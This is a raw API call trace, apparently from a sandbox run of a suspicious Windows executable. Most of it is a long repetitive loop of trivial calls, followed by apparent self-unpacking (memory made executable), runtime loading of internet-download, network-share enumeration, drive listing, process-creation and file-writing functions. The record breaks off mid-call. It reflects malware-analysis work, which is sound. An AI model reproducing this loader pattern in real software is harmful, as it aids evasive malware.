GetMessageExtraInfo () returned 0x0 [0098.543] GetLastError () returned 0x578 [0098.543] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.543] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.543] GetMessageExtraInfo () returned 0x0 [0098.543] GetLastError () returned 0x578 [0098.543] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.543] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.543] GetMessageExtraInfo () returned 0x0 [0098.543] GetLastError () returned 0x578 [0098.543] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.543] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.543] GetMessageExtraInfo () returned 0x0 [0098.543] GetLastError () returned 0x578 [0098.543] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.543] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.544] GetMessageExtraInfo () returned 0x0 [0098.544] GetLastError () returned 0x578 [0098.544] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.544] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.544] GetMessageExtraInfo () returned 0x0 [0098.544] GetLastError () returned 0x578 [0098.544] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.544] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.544] GetMessageExtraInfo () returned 0x0 [0098.544] GetLastError () returned 0x578 [0098.544] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.544] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.544] GetMessageExtraInfo () returned 0x0 [0098.544] GetLastError () returned 0x578 [0098.544] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.544] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.544] GetMessageExtraInfo () returned 0x0 [0098.544] GetLastError () returned 0x578 [0098.544] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.544] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.544] GetMessageExtraInfo () returned 0x0 [0098.544] GetLastError () returned 0x578 [0098.544] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.544] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.544] GetMessageExtraInfo () returned 0x0 [0098.544] GetLastError () returned 0x578 [0098.544] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.544] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.544] GetMessageExtraInfo () returned 0x0 [0098.544] GetLastError () returned 0x578 [0098.544] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.544] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.544] GetMessageExtraInfo () returned 0x0 [0098.544] GetLastError () returned 0x578 [0098.544] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.544] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.544] GetMessageExtraInfo () returned 0x0 [0098.544] GetLastError () returned 0x578 [0098.544] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.545] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.545] GetMessageExtraInfo () returned 0x0 [0098.545] GetLastError () returned 0x578 [0098.545] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.545] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.545] GetMessageExtraInfo () returned 0x0 [0098.545] GetLastError () returned 0x578 [0098.545] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.545] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.545] GetMessageExtraInfo () returned 0x0 [0098.545] GetLastError () returned 0x578 [0098.545] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.545] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.545] GetMessageExtraInfo () returned 0x0 [0098.545] GetLastError () returned 0x578 [0098.545] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.545] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.545] GetMessageExtraInfo () returned 0x0 [0098.545] GetLastError () returned 0x578 [0098.545] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.545] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.545] GetMessageExtraInfo () returned 0x0 [0098.545] GetLastError () returned 0x578 [0098.545] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.545] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.545] GetMessageExtraInfo () returned 0x0 [0098.545] GetLastError () returned 0x578 [0098.545] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.545] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.545] GetMessageExtraInfo () returned 0x0 [0098.545] GetLastError () returned 0x578 [0098.545] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.545] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.545] GetMessageExtraInfo () returned 0x0 [0098.545] GetLastError () returned 0x578 [0098.545] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.545] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.545] GetMessageExtraInfo () returned 0x0 [0098.545] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.546] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.546] GetMessageExtraInfo () returned 0x0 [0098.546] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.546] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.546] GetMessageExtraInfo () returned 0x0 [0098.546] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.546] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.546] GetMessageExtraInfo () returned 0x0 [0098.546] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.546] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.546] GetMessageExtraInfo () returned 0x0 [0098.546] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.546] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.546] GetMessageExtraInfo () returned 0x0 [0098.546] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.546] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.546] GetMessageExtraInfo () returned 0x0 [0098.546] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.546] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.546] GetMessageExtraInfo () returned 0x0 [0098.546] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.546] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.546] GetMessageExtraInfo () returned 0x0 [0098.546] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.546] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.546] GetMessageExtraInfo () returned 0x0 [0098.546] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.546] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.546] GetMessageExtraInfo () returned 0x0 [0098.546] GetLastError () returned 0x578 [0098.546] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.547] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.547] GetMessageExtraInfo () returned 0x0 [0098.547] GetLastError () returned 0x578 [0098.547] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.547] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.547] GetMessageExtraInfo () returned 0x0 [0098.547] GetLastError () returned 0x578 [0098.547] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.547] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.547] GetMessageExtraInfo () returned 0x0 [0098.547] GetLastError () returned 0x578 [0098.547] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.547] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.547] GetMessageExtraInfo () returned 0x0 [0098.547] GetLastError () returned 0x578 [0098.547] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.547] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.547] GetMessageExtraInfo () returned 0x0 [0098.547] GetLastError () returned 0x578 [0098.547] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.547] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.547] GetMessageExtraInfo () returned 0x0 [0098.547] GetLastError () returned 0x578 [0098.547] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.547] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.547] GetMessageExtraInfo () returned 0x0 [0098.547] GetLastError () returned 0x578 [0098.547] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.547] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.547] GetMessageExtraInfo () returned 0x0 [0098.547] GetLastError () returned 0x578 [0098.547] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.547] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.547] GetMessageExtraInfo () returned 0x0 [0098.547] GetLastError () returned 0x578 [0098.547] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.547] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.548] GetMessageExtraInfo () returned 0x0 [0098.548] GetLastError () returned 0x578 [0098.548] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.548] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.548] GetMessageExtraInfo () returned 0x0 [0098.548] GetLastError () returned 0x578 [0098.548] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.548] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.548] GetMessageExtraInfo () returned 0x0 [0098.548] GetLastError () returned 0x578 [0098.548] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.548] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.548] GetMessageExtraInfo () returned 0x0 [0098.548] GetLastError () returned 0x578 [0098.548] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.548] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.548] GetMessageExtraInfo () returned 0x0 [0098.548] GetLastError () returned 0x578 [0098.548] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.548] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.548] GetMessageExtraInfo () returned 0x0 [0098.548] GetLastError () returned 0x578 [0098.548] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.548] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.548] GetMessageExtraInfo () returned 0x0 [0098.548] GetLastError () returned 0x578 [0098.548] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.548] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.548] GetMessageExtraInfo () returned 0x0 [0098.548] GetLastError () returned 0x578 [0098.548] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.548] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.548] GetMessageExtraInfo () returned 0x0 [0098.548] GetLastError () returned 0x578 [0098.548] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.548] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.548] GetMessageExtraInfo () returned 0x0 [0098.548] GetLastError () returned 0x578 [0098.548] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.549] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.549] GetMessageExtraInfo () returned 0x0 [0098.549] GetLastError () returned 0x578 [0098.549] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.549] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.549] GetMessageExtraInfo () returned 0x0 [0098.549] GetLastError () returned 0x578 [0098.549] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.549] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.549] GetMessageExtraInfo () returned 0x0 [0098.549] GetLastError () returned 0x578 [0098.549] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.549] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.549] GetMessageExtraInfo () returned 0x0 [0098.549] GetLastError () returned 0x578 [0098.549] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.549] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.549] GetMessageExtraInfo () returned 0x0 [0098.549] GetLastError () returned 0x578 [0098.549] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.549] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.549] GetMessageExtraInfo () returned 0x0 [0098.549] GetLastError () returned 0x578 [0098.549] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.549] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.549] GetMessageExtraInfo () returned 0x0 [0098.549] GetLastError () returned 0x578 [0098.549] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.549] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.549] GetMessageExtraInfo () returned 0x0 [0098.549] GetLastError () returned 0x578 [0098.549] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.549] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.549] GetMessageExtraInfo () returned 0x0 [0098.549] GetLastError () returned 0x578 [0098.549] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.549] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.549] GetMessageExtraInfo () returned 0x0 [0098.549] GetLastError () returned 0x578 [0098.550] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.550] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.550] GetMessageExtraInfo () returned 0x0 [0098.550] GetLastError () returned 0x578 [0098.550] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.550] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.550] GetMessageExtraInfo () returned 0x0 [0098.550] GetLastError () returned 0x578 [0098.550] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.550] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.550] GetMessageExtraInfo () returned 0x0 [0098.550] GetLastError () returned 0x578 [0098.550] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.550] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.550] GetMessageExtraInfo () returned 0x0 [0098.550] GetLastError () returned 0x578 [0098.550] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.550] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.550] GetMessageExtraInfo () returned 0x0 [0098.550] GetLastError () returned 0x578 [0098.550] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.550] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.550] GetMessageExtraInfo () returned 0x0 [0098.550] GetLastError () returned 0x578 [0098.550] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.550] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.550] GetMessageExtraInfo () returned 0x0 [0098.550] GetLastError () returned 0x578 [0098.550] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.550] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.550] GetMessageExtraInfo () returned 0x0 [0098.550] GetLastError () returned 0x578 [0098.550] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.550] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.550] GetMessageExtraInfo () returned 0x0 [0098.550] GetLastError () returned 0x578 [0098.550] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.550] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.550] GetMessageExtraInfo () returned 0x0 [0098.550] GetLastError () returned 0x578 [0098.551] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.551] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.551] GetMessageExtraInfo () returned 0x0 [0098.551] GetLastError () returned 0x578 [0098.551] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.551] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0099.810] LocalAlloc (uFlags=0x0, uBytes=0x460f8) returned 0x5c23c8 [0099.874] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e10000 [0099.875] GetProcAddress (hModule=0x75e10000, lpProcName="VirtualProtect") returned 0x75e2435f [0099.875] VirtualProtect (in: lpAddress=0x6084c8, dwSize=0x348ba, flNewProtect=0x40, lpflOldProtect=0x18d948 | out: lpflOldProtect=0x18d948*=0x4) returned 1 [0099.935] GetProcAddress (hModule=0x75e10000, lpProcName="LoadLibraryA") returned 0x75e249d7 [0099.936] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e10000 [0099.936] GetProcAddress (hModule=0x75e10000, lpProcName="VirtualAlloc") returned 0x75e21856 [0099.936] GetProcAddress (hModule=0x75e10000, lpProcName="VirtualProtect") returned 0x75e2435f [0099.936] GetProcAddress (hModule=0x75e10000, lpProcName="VirtualFree") returned 0x75e2186e [0099.936] GetProcAddress (hModule=0x75e10000, lpProcName="GetVersionExA") returned 0x75e23519 [0099.936] GetProcAddress (hModule=0x75e10000, lpProcName="TerminateProcess") returned 0x75e3d802 [0099.936] GetProcAddress (hModule=0x75e10000, lpProcName="ExitProcess") returned 0x75e27a10 [0099.936] GetProcAddress (hModule=0x75e10000, lpProcName="SetErrorMode") returned 0x75e21b00 [0099.936] SetErrorMode (uMode=0x400) returned 0x0 [0099.936] SetErrorMode (uMode=0x0) returned 0x400 [0099.937] GetVersionExA (in: lpVersionInformation=0x18c898*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}èw") | out: lpVersionInformation=0x18c898*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0099.937] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0099.945] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18d920 | out: lpflOldProtect=0x18d920*=0x2) returned 1 [0100.013] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.016] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x76850000 [0100.016] GetProcAddress (hModule=0x76850000, lpProcName="RpcStringFreeW") returned 0x76871635 [0100.016] GetProcAddress (hModule=0x76850000, lpProcName="UuidToStringW") returned 0x76891ee5 [0100.016] GetProcAddress (hModule=0x76850000, lpProcName="UuidToStringA") returned 0x768cd918 [0100.016] GetProcAddress (hModule=0x76850000, lpProcName="RpcStringFreeA") returned 0x76893fc5 [0100.016] GetProcAddress (hModule=0x76850000, lpProcName="UuidCreate") returned 0x7686f48b [0100.016] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x741e0000 [0100.225] GetProcAddress (hModule=0x741e0000, lpProcName="WNetCloseEnum") returned 0x741e2dd6 [0100.225] GetProcAddress (hModule=0x741e0000, lpProcName="WNetOpenEnumW") returned 0x741e2f06 [0100.225] GetProcAddress (hModule=0x741e0000, lpProcName="WNetEnumResourceW") returned 0x741e3058 [0100.225] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75ad0000 [0100.239] GetProcAddress (hModule=0x75ad0000, lpProcName="InternetCloseHandle") returned 0x75aeab49 [0100.239] GetProcAddress (hModule=0x75ad0000, lpProcName="InternetOpenUrlW") returned 0x75b4be5c [0100.239] GetProcAddress (hModule=0x75ad0000, lpProcName="InternetReadFile") returned 0x75aeb406 [0100.239] GetProcAddress (hModule=0x75ad0000, lpProcName="InternetOpenUrlA") returned 0x75b130f1 [0100.239] GetProcAddress (hModule=0x75ad0000, lpProcName="HttpQueryInfoW") returned 0x75af5c75 [0100.239] GetProcAddress (hModule=0x75ad0000, lpProcName="InternetOpenA") returned 0x75aff18e [0100.239] GetProcAddress (hModule=0x75ad0000, lpProcName="InternetOpenW") returned 0x75af9197 [0100.239] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x741a0000 [0101.153] GetProcAddress (hModule=0x741a0000, lpProcName="timeGetTime") returned 0x741a26e0 [0101.153] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76640000 [0101.153] GetProcAddress (hModule=0x76640000, lpProcName="PathFindExtensionW") returned 0x7665a1b9 [0101.153] GetProcAddress (hModule=0x76640000, lpProcName="PathFindFileNameW") returned 0x7665bb71 [0101.153] GetProcAddress (hModule=0x76640000, lpProcName="PathRemoveFileSpecW") returned 0x76653248 [0101.153] GetProcAddress (hModule=0x76640000, lpProcName="PathFileExistsW") returned 0x766545bf [0101.153] GetProcAddress (hModule=0x76640000, lpProcName="PathAppendW") returned 0x766581ef [0101.154] GetProcAddress (hModule=0x76640000, lpProcName="PathAppendA") returned 0x7664d65e [0101.154] GetProcAddress (hModule=0x76640000, lpProcName="PathFileExistsA") returned 0x7667ad1a [0101.154] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75e10000 [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="GetTickCount") returned 0x75e2110c [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="TlsFree") returned 0x75e23587 [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="GetCommandLineW") returned 0x75e25223 [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="CreateFileA") returned 0x75e253c6 [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="FindFirstFileW") returned 0x75e24435 [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="SetFilePointer") returned 0x75e217d1 [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="lstrlenA") returned 0x75e25a4b [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="SetErrorMode") returned 0x75e21b00 [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="FreeLibrary") returned 0x75e234c8 [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="CreateProcessW") returned 0x75e2103d [0101.154] GetProcAddress (hModule=0x75e10000, lpProcName="SetFilePointerEx") returned 0x75e3c807 [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="CreateDirectoryW") returned 0x75e24259 [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="WaitForSingleObject") returned 0x75e21136 [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="GetLogicalDrives") returned 0x75e25371 [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="VirtualFree") returned 0x75e2186e [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="WriteFile") returned 0x75e21282 [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="GetDriveTypeA") returned 0x75e3ef75 [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="OpenProcess") returned 0x75e21986 [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="GlobalAlloc") returned 0x75e2588e [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="GetSystemDirectoryW") returned 0x75e25063 [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="WideCharToMultiByte") returned 0x75e2170d [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="LoadLibraryW") returned 0x75e2492b [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="Sleep") returned 0x75e210ff [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="CopyFileW") returned 0x75e4830d [0101.155] GetProcAddress (hModule=0x75e10000, lpProcName="FormatMessageW") returned 0x75e24620 [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="lstrcpynW") returned 0x75e4d556 [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="CreateProcessA") returned 0x75e21072 [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="TerminateProcess") returned 0x75e3d802 [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="ReadFile") returned 0x75e23ed3 [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="CreateFileW") returned 0x75e23f5c [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="lstrcatA") returned 0x75e42b7a [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="GetEnvironmentVariableA") returned 0x75e233a0 [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="lstrcmpW") returned 0x75e25929 [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="MultiByteToWideChar") returned 0x75e2192e [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="lstrlenW") returned 0x75e21700 [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="FlushFileBuffers") returned 0x75e2469b [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="GetShortPathNameA") returned 0x75e4594d [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="GetFileSizeEx") returned 0x75e259e2 [0101.156] GetProcAddress (hModule=0x75e10000, lpProcName="GetLastError") returned 0x75e211c0 [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="SetLastError") returned 0x75e211a9 [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="GetProcAddress") returned 0x75e21222 [0101.157] GetProcAddress (hModule=0x75e10000, 